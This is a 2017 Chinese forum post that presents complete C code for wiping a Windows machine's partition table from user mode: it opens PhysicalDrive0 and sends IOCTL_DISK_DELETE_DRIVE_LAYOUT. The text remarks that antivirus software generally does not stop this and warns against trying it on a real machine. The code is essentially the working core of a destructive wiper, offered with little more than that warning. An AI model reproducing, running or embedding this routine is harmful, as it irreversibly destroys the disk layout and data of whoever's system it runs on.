zhangrong 发表于 2017-6-1 12:56:09

R3全盘毁坏数据

打开物理磁盘或者打开分区符号(这个需要循环)
然后使用下发IOCTL_DISK_DELETE_DRIVE_LAYOUT请求,删除分区表
一般杀软也不会阻止


不要在真机中实验!
代码:
#include<stdio.h>
#include<Windows.h>
#include<ntddscsi.h>

int main()
{
    DWORD lpBytesReturned;
    OVERLAPPED lpOverlapped={0};

    HANDLE hDiskHandle=CreateFile(_T("\\\\.\\PhysicalDrive0"),GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL);

    DeviceIoControl(hDiskHandle,
                                        IOCTL_DISK_DELETE_DRIVE_LAYOUT,//0x0007C100
                                        NULL,
                                        0,
                                        NULL,
                                        0,
                                        &lpBytesReturned,
                                        &lpOverlapped);

        CloseHandle(hDiskHandle);
    return 0;
}
页: [1]
查看完整版本: R3全盘毁坏数据